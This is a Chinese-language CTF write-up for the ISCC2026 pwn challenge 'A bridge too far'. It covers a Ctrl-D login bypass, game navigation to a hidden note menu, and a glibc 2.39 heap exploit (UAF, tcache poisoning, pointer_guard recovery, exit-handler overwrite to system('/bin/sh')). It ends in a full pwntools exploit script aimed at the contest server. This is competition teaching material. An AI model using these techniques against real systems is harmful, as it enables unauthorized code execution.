ISCC2026 WriteUp
写wp的时候容器关了没法截图
Pwn-A bridge too far
解题思路
本题是一道全保护开启的 C++ 堆菜单 PWN 题,整体分为三个阶段:登录认证绕过、游戏地图导航到达隐藏菜单、堆漏洞利用(UAF → tcache poisoning → exit handler 劫持)获取 shell。
一、环境与保护分析
使用 pwntools 自带的 checksec 检查二进制:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
全部保护均已启用,意味着常规的栈溢出、GOT 表覆写等手法均不可行。程序自带 libc.so.6 版本为 Ubuntu GLIBC 2.39-0ubuntu8.7,该版本已移除 `__free_hook` 的调用逻辑,因此需要另寻攻击面。
二、第一阶段:登录认证绕过
### 2.1 漏洞分析
程序入口函数 `main` 的栈帧布局存在一个关键缺陷:
1. `init()` 函数调用 MT19937 伪随机数生成器,为 `test` 和 `pl1` 两个内置用户分别生成 31 字节的可打印 ASCII 密码,写入栈上的缓冲区 `[rsp+0x90]`。
2. 紧接着程序询问"启动用户名"和"启动密码",读取输入的缓冲区恰好复用同一块栈空间 `[rsp+0x90]`。
3. 该程序的自定义输入函数一次最多读取 31 字节,仅在遇到换行符 `\n` 时才截断字符串。它不会主动清空缓冲区。
4. 登录验证使用 `memcmp(input_password, stored_hash)` 进行比对。
这里存在两个可利用点:
在类 Unix PTY 环境下,向进程发送 Ctrl-D(`\x04`)会导致 `read()` 系统调用返回 0,但缓冲区内容完全不受影响。由于密码刚生成完毕,缓冲区中仍残留着原始密码数据。
操作流程:
启动用户名:随意输入(如 `hacker\n`),这会覆盖用户名对应的区域,但密码区域不受影响
启动密码:发送 Ctrl-D,缓冲区保持 `pl1` 的密码原封不动
进入主菜单后选择登录,用户名为 `pl1`,密码再次使用 Ctrl-D
`memcmp` 比对成功,以 pl1 身份登录
### 2.2 关键代码片段
# 使用 Ctrl-D 绕过密码验证
io.recvuntil(b':')
io.sendline(b'hacker') # 任意启动用户名
io.recvuntil(b':')
io.send(b'\\x04') # Ctrl-D → read() 返回 0,不清空缓冲区
io.recvuntil(b'5.')
io.sendline(b'1') # 选择登录
io.recvuntil(b':')
io.sendline(b'pl1') # 以 pl1 身份登录
io.recvuntil(b':')
io.send(b'\\x04') # 再次 Ctrl-D 保留原始密码
三、第二阶段:游戏导航与隐藏菜单
### 3.1 岛屿数据结构
程序维护一个长度为 64 的岛屿数组,每个岛屿结构体大小为 0x50 字节:
offset 0x00: x, y 坐标 (各 8 字节)
offset 0x10: w2 字段 (1 字节)
offset 0x11: visible 标志 (1 字节, 0=隐藏, 1=可见)
offset 0x14: event_type (4 字节)
offset 0x18: 资源/消耗量
offset 0x30: 名称字符串指针
offset 0x38: 描述字符串指针
offset 0x48: 44 位 SHA-256 哈希值
关键的游戏状态变量也在栈上:
`[rsp+0x330]`:当前岛屿索引 (0-63)
`[rsp+0x334]`:材料数量(初始 400)
`[rsp+0x32C]`:已解锁岛屿计数
### 3.2 事件系统
岛屿通过 event_type 触发不同的游戏事件:
| event_type | 效果 |
|———–|——|
| 2 | 获得材料(地堡 +300,漂流木堆 +200) |
| 7 | 设置 moon.visible = 1(解锁月球) |
| 8 | 免费建造通往目标岛屿的桥梁 |
### 3.3 导航路径规划
要到达月球(索引 63)触发隐藏的 note 菜单,需要经过以下步骤:
第一步:到达 Data Reef
Data Reef 是初始可见的 16 个岛屿之一。在游戏主菜单选择建造桥梁(选项 2),消耗材料连接 Data Reef,然后导航(选项 1)移动过去。Data Reef 的 event_type 为 7,触发后自动将月球标记为可见。
第二步:解锁 superadmin 岛屿
主菜单选择探索(选项 5)→ 根据传说搜寻(选项 2),输入岛屿名 `superadmin`。该功能会从隐藏表中按名称查找并创建岛屿,消耗 100 材料。superadmin 岛屿的 event_type 为 8,是后续免费连接月球的关键。
第三步:材料管理
如果建造桥梁的材料不足,可以利用探索功能。随机探索会发现新岛屿,其中:
地堡(隐藏表索引 2,event_type 2):获得 300 材料
漂流木堆(隐藏表索引 8,event_type 2):获得 200 材料
第四步:连接月球
到达 superadmin 后,在主菜单选择探索 superadmin 岛,根据提示输入目标岛屿名"月球"。event_type 8 处理函数会免费建造一座连接月球(索引 63)的桥梁。
第五步:触发隐藏菜单
导航到月球(position == 63 且 moon.visible != 0),程序会调用隐藏函数 `0xBF20`,进入 note 堆管理菜单。该菜单提供 add、delete、view、edit 四种操作,是后续堆利用的入口。
### 3.4 菜单结构
主菜单:
1\. 导航到岛屿
2\. 建造桥梁
3\. 登录子账户
4\. 自动寻路
5\. 探索
1\. 随机探索
2\. 根据传说搜寻(输入岛屿名直接解锁!)
6\. 查看状态
0\. 返回
Note 菜单(到达月球后触发):
1\. add note
2\. delete note
3\. view note
4\. edit note
四、第三阶段:堆漏洞利用
### 4.1 Note 菜单的 UAF 漏洞
程序在 note 菜单中维护 16 个 note 槽位,每个 note 最大分配 0x800 字节。四类操作对应的实现中,delete 操作存在严重缺陷:
| 操作 | 实现 | 安全问题 |
|——|——|———|
| add(idx, sz) | `notes[idx] = new char[sz]` | 无 |
| view(idx) | `write(1, notes[idx], sz)` | 可读取已释放堆块 → 信息泄漏 |
| edit(idx) | `read(0, notes[idx], sz)` | 可写入已释放堆块 → UAF 写 |
| delete(idx) | `delete[] notes[idx]` | 未将 notes[idx] 置空 → UAF |
由于 delete 后指针未被清空,造成了经典的悬垂指针(dangling pointer):一块内存被 free 后仍可通过 view/edit 进行读写操作,且可被重复 free(double free)。
### 4.2 攻击目标选择
glibc 2.39 移除了 `__free_hook` 的调用路径,但仍然保留了 `exit()` → `__run_exit_handlers()` 的完整调用链。`__exit_funcs` 是一个全局指针,指向 `exit_function_list` 链表,程序退出时会遍历该链表并执行注册的析构函数。链表节点的函数指针使用 `PTR_MANGLE` 宏进行了保护。
攻击路径:
1. 通过 unsorted bin 泄漏 libc 基址
2. 通过 safe-linking 绕过 + double free 实现 tcache poisoning
3. 将伪造 chunk 落在 `exit_function_list` 上
4. 读取编码后的函数指针,反推 `pointer_guard`
5. 覆写 exit entry,编码 `system("/bin/sh")` 的函数指针
6. 触发 `exit()` 获得 shell
### 4.3 步骤一:泄漏 libc 基址
分配一个大于 tcache 最大 bin(0x410)的 chunk,free 后进入 unsorted bin,其 fd/bk 指针指向 main_arena 内部:
add(0, 0x500) # 申请大块,确保 free 后不进 tcache
add(15, 0x20) # 隔离 chunk,防止与 top chunk 合并
delete(0) # 释放到 unsorted bin
leak = u64(view(0)[:8])
libc_base = leak - 0x203B20 # 0x203B20 = unsorted_bin 在 main_arena 中的偏移
### 4.4 步骤二:劫持 tcache 链表
glibc 2.39 引入了 safe-linking 机制,tcache 和 fastbin 的 fd 指针会与 chunk 地址右移 12 位的结果进行异或保护:`fd_encoded = real_ptr ^ (chunk_addr >> 12)`。同时 tcache chunk 的 bk 位置存放 tcache key,用于在 free 时检测 double free。
绕过 safe-linking 的策略:
1. 利用 UAF 的 view 能力读取被加密的 fd 指针
2. 通过 demangle 算法还原真实指针(safe-linking 使用 6 轮迭代的 XOR 解密)
3. 利用 UAF 的 edit 能力将 tcache key 清零,绕过 double free 检测
def demangle(val):
"""safe-linking 指针解密"""
tmp = val
for _ in range(6):
tmp = val \^ (tmp >> 12)
return tmp
# 准备工作:申请两个小 chunk 用于 tcache 操作
add(a, 0x20)
add(b, 0x20)
# 释放并观察
delete(a); delete(b) # tcache: b → a
enc_fd = u64(view(b)[:8])
chunk_a = demangle(enc_fd)
chunk_b = chunk_a + 0x30 # 小 chunk: header(0x10) + data(0x20)
# 清零 tcache key 实现 double free
edit(b, b'X' * 8 + p64(0) + b'Y' * 16) # bk 位置清零
delete(b) # double free 成功: tcache → b → b → a
# 两次分配均得到 chunk b
add(c, 0x20)
add(d, 0x20)
# 将 c 归还 tcache,修改 d 的 fd 为目标地址
delete(c) # tcache: c → b → b → a → ...
target_fd = target_addr \^ (chunk_b >> 12)
edit(d, p64(target_fd) + p64(0) + b'Z' * 16)
# 消耗链表直到命中目标
add(e, 0x20)
add(f, 0x20) # f 分配在 target_addr
### 4.5 步骤三:泄漏 pointer_guard
`exit_function_list` 是一个单向链表,每个节点的布局如下:
offset 0x00: next (8 字节,指向下一个节点)
offset 0x08: idx (4 字节,当前节点中的活跃条目数)
offset 0x0C: pad (4 字节对齐)
offset 0x10: entry[0] (0x20 字节)
offset 0x30: entry[1] (0x20 字节)
...
每个 entry 结构体(0x20 字节):
offset 0x00: flavor (4 字节,4 = ef_cxa)
offset 0x04: pad (4 字节)
offset 0x08: func (8 字节,PTR_MANGLE 编码后的函数指针)
offset 0x10: arg (8 字节,函数参数)
offset 0x18: dso (8 字节,DSO 句柄)
关键技巧:当 `tcache_get` 从链表中取出 chunk 时,会对用户数据区的前 8 字节执行清零操作。如果直接让 chunk 落在 `node + 0x00`,next 指针将被破坏,导致遍历链表时崩溃。解决方案是让 chunk 落在 `node + 0x20` 处——此时清零的 8 字节仅影响 entry[0] 的 dso 字段,而 next 和 idx 均完好无损。
读取 entry[1] 后,利用已知信息反推 pointer_guard:
# entry[1] 内容
func_enc = u64(data[0x30 + 8:0x30 + 16]) # 编码后的函数指针
dso_leak = u64(data[0x30 + 0x18:0x30 + 0x20]) # libstdc++ DSO 句柄
# 计算 libstdc++ 基址
libstdc_base = dso_leak - 0x279100
# 已知 libstdc++ 中的原始函数地址
real_func = libstdc_base + 0xB8DA0
# 反推 pointer_guard: enc = rol(func \^ guard, 17)
# guard = ror(enc, 17) \^ func
ptr_guard = ror64(func_enc, 17) \^ real_func
### 4.6 步骤四:覆写 exit entry
将伪造 chunk 分配到 `exit_function_list` 节点中的一个空闲 entry 位置,写入构造好的 payload:
target_entry = exit_node_addr + 0x190 # 选择一个未被使用的 entry 槽位
# 再次利用 tcache poisoning 将 chunk 分配到目标位置
add(g, 0x20)
# ... (tcache poison 流程同上,目标为 target_entry)
add(h, 0x20) # h 指向 target_entry
# 编码 system("/bin/sh")
system_ptr = libc_base + 0x58750
binsh_ptr = libc_base + 0x1CB42F
encoded_func = rol64(system_ptr \^ ptr_guard, 17)
# 写入 entry
payload = flat(
4, # flavor = ef_cxa
encoded_func, # 编码后的 system 地址
binsh_ptr, # 参数 = "/bin/sh" 字符串地址
0 # dso = NULL
)
edit(h, payload)
### 4.7 步骤五:触发 shell
向程序发送非法菜单选项(例如选项 9),程序调用 `exit()`,进而触发 `__run_exit_handlers()`,遍历 `exit_function_list` 链表并执行注册的处理函数。被篡改的 entry 调用 `system("/bin/sh")`,获得 shell。
io.sendline(b'9') # 非法选项 → exit()
io.interactive() # 进入交互 shell
五、EXP
\#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
# ============ 配置 ============
LOCAL = False
REMOTE_HOST = '39.96.193.120'
REMOTE_PORT = 9999
# ============ glibc 2.39 偏移量 ============
UNSORTED_OFF = 0x203B20 # main_arena.bins[0]
EXIT_FUNCS_OFF = 0x203680 # __exit_funcs
EXIT_NODE_OFF = 0x204FC0 # initial exit function list node
SYSTEM_OFF = 0x58750
BINSH_OFF = 0x1CB42F
EXIT_DSO_OFF = 0x279100 # libstdc++ __exit_funcs entry dso
EXIT_FUNC_OFF = 0xB8DA0 # libstdc++ __exit_funcs entry func
# ============ 辅助函数 ============
def demangle(val):
"""解码 glibc 2.39 safe-linking 指针"""
tmp = val
for _ in range(6):
tmp = val \^ (tmp >> 12)
return tmp
def rol64(val, n):
return ((val << n) | (val >> (64 - n))) & 0xFFFFFFFFFFFFFFFF
def ror64(val, n):
return ((val >> n) | (val << (64 - n))) & 0xFFFFFFFFFFFFFFFF
def ctb(data):
"""Ctrl-D 发包封装"""
time.sleep(0.1)
io.send(data)
def menu(opt):
io.recvuntil(b'>>')
io.sendline(str(opt).encode())
def note_add(idx, size):
menu(1)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'size:')
io.sendline(str(size).encode())
def note_delete(idx):
menu(2)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
def note_view(idx):
menu(3)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'content:\\n')
return io.recvn(sizes.get(idx, 0x20))
def note_edit(idx, data):
menu(4)
io.recvuntil(b'index:')
io.sendline(str(idx).encode())
io.recvuntil(b'content:')
io.send(data)
sizes = {} # 记录各槽位的 size
# ============ 启动 ============
if LOCAL:
ld_path = './package/ld-linux-x86-64.so.2'
lib_path = './package'
bin_path = './package/pwn'
io = process([ld_path, '--library-path', lib_path, bin_path],
stdin=PTY, stdout=PTY, stderr=PTY)
else:
io = remote(REMOTE_HOST, REMOTE_PORT)
# 远程环境也需要 PTY 以支持 Ctrl-D
# 若 remote 不支持 PTY,请改用 Method 2 单字节爆破
# ============ Phase 1: 登录绕过 ============
log.info("Phase 1: 密码验证绕过")
io.recvuntil(b'username:')
io.sendline(b'hacker')
io.recvuntil(b'password:')
ctb(b'\\x04') # Ctrl-D
time.sleep(0.3)
io.recvuntil(b'5.')
menu(1) # 进入登录菜单
io.recvuntil(b'username:')
io.sendline(b'pl1')
io.recvuntil(b'password:')
ctb(b'\\x04') # Ctrl-D
time.sleep(0.5)
data = io.recvuntil(b'>>', timeout=3)
if b'login' in data.lower() or b'welcome' in data.lower():
log.success("登录成功!")
else:
log.warning("登录可能失败,请检查 PTY 设置")
# ============ Phase 2: 导航到月球 ============
log.info("Phase 2: 游戏导航")
def build_bridge(target_name):
"""选择并建造通往指定岛屿的桥梁"""
menu(2)
lines = io.recvuntil(b'>>', timeout=2).decode(errors='ignore')
# 解析岛屿列表,找到 target_name 对应的序号
found = None
for line in lines.split('\\n'):
if target_name in line:
idx_str = line.split('.')[0].strip()
try:
found = int(idx_str)
except:
continue
break
if found is None:
log.warning(f"未在列表中找�� {target_name},尝试序号 1")
found = 1
io.sendline(str(found).encode())
def navigate_to(target_name):
"""导航到指定岛屿"""
menu(1)
lines = io.recvuntil(b'>>', timeout=2).decode(errors='ignore')
found = None
for line in lines.split('\\n'):
if target_name in line:
idx_str = line.split('.')[0].strip()
try:
found = int(idx_str)
except:
continue
break
if found is None:
found = 1
io.sendline(str(found).encode())
def legend_search(name):
"""传说搜寻"""
menu(5)
io.recvuntil(b'>>')
io.sendline(b'2')
io.recvuntil(b'name:')
io.sendline(name.encode())
# Step 1: 连接 Data Reef 并触发事件
build_bridge('Data Reef')
navigate_to('Data Reef')
# Step 2: 传说搜寻 superadmin
legend_search('superadmin')
# Step 3: 建造通往 superadmin 的桥梁
build_bridge('superadmin')
# Step 4: 移动到 superadmin
navigate_to('superadmin')
# Step 5: 在 superadmin 探索,输入"月球"触发免费建桥
menu(5)
io.recvuntil(b'>>')
io.sendline(b'1') # 探索当前岛屿
time.sleep(0.3)
data = io.recvuntil(b':', timeout=3)
if b'target' in data.lower() or b'island' in data.lower() or b'name' in data.lower():
io.sendline('月球'.encode())
else:
log.error("未能触发 Event 8,请检查 superadmin 事件")
# Step 6: 移动到月球
navigate_to('月球')
log.success("到达月球,进入 Note 菜单")
# ============ Phase 3: 堆利用 ============
log.info("Phase 3: UAF → tcache poison → exit handler")
# --- 泄漏 libc ---
sizes[0] = 0x500
note_add(0, 0x500)
sizes[15] = 0x20
note_add(15, 0x20)
note_delete(0)
data = note_view(0)[:8]
unsorted_leak = u64(data)
libc_base = unsorted_leak - UNSORTED_OFF
log.success(f"libc base: {hex(libc_base)}")
# --- tcache safe-linking 绕过 ---
a, b = 1, 2
sizes[a] = 0x20
sizes[b] = 0x20
note_add(a, 0x20)
note_add(b, 0x20)
note_delete(a) # tcache → a
note_delete(b) # tcache → b → a
enc_fd = u64(note_view(b)[:8])
chunk_a = demangle(enc_fd)
chunk_b = chunk_a + 0x30
# 清零 tcache key
note_edit(b, b'A' * 8 + p64(0) + b'B' * 16)
note_delete(b) # double free: tcache → b → b → a
c, d, e = 3, 4, 5
sizes[c] = 0x20
sizes[d] = 0x20
note_add(c, 0x20) # → b
note_add(d, 0x20) # → b (同一个 chunk!)
note_delete(c) # tcache → c(=b) → b → a → ...
# --- 泄漏堆地址 (用于计算 exit node) ---
# 此时 d 仍然指向 chunk b,但 b 在 tcache 中,fd 已变化
# 我们不需要堆地址来定位 exit node,直接用 libc 地址
# 计算目标地址
exit_funcs_ptr = libc_base + EXIT_FUNCS_OFF
exit_node = libc_base + EXIT_NODE_OFF
# tcache poison 第一轮:分配到 __exit_funcs 附近
# 将 chunk 落在 exit_node + 0x20(避免破坏 next 指针)
target1 = exit_node + 0x20
poisoned = target1 \^ (chunk_b >> 12)
note_edit(d, p64(poisoned) + p64(0) + b'C' * 16)
sizes[e] = 0x20
note_add(e, 0x20) # → 消耗 b
f = 6
sizes[f] = 0x20
note_add(f, 0x20) # → 落在 exit_node + 0x20
# 读取 exit_function_list 数据
raw = note_view(f)
func1_enc = u64(raw[0x10:0x18])
dso1 = u64(raw[0x18:0x20])
libstdc_base = dso1 - EXIT_DSO_OFF
real_func1 = libstdc_base + EXIT_FUNC_OFF
ptr_guard = ror64(func1_enc, 17) \^ real_func1
log.success(f"pointer_guard: {hex(ptr_guard)}")
log.success(f"libstdc++ base: {hex(libstdc_base)}")
# --- 覆写 exit entry ---
# 准备:新一轮 tcache poison,目标 = entry 所在位置
target2 = exit_node + 0x190 # 选取靠后的空闲 entry
poisoned2 = target2 \^ (chunk_b >> 12)
# 释放并重新毒化(利用 UAF 反复修改 fd)
note_delete(f)
note_edit(d, p64(poisoned2) + p64(0) + b'D' * 16)
g = 7
h = 8
sizes[g] = 0x20
sizes[h] = 0x20
note_add(g, 0x20) # → d
note_add(h, 0x20) # → exit_node + 0x190
# 构造 system("/bin/sh") 的 entry
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
encoded_sys = rol64(system_addr \^ ptr_guard, 17)
payload = flat(
4, # flavor = ef_cxa
encoded_sys, # func = system
binsh_addr, # arg = "/bin/sh"
0 # dso = NULL
)
note_edit(h, payload)
# --- 触发 ---
log.info("触发 exit() → system('/bin/sh')")
menu(9) # 非法选项触发 exit
time.sleep(0.5)
io.interactive()
评论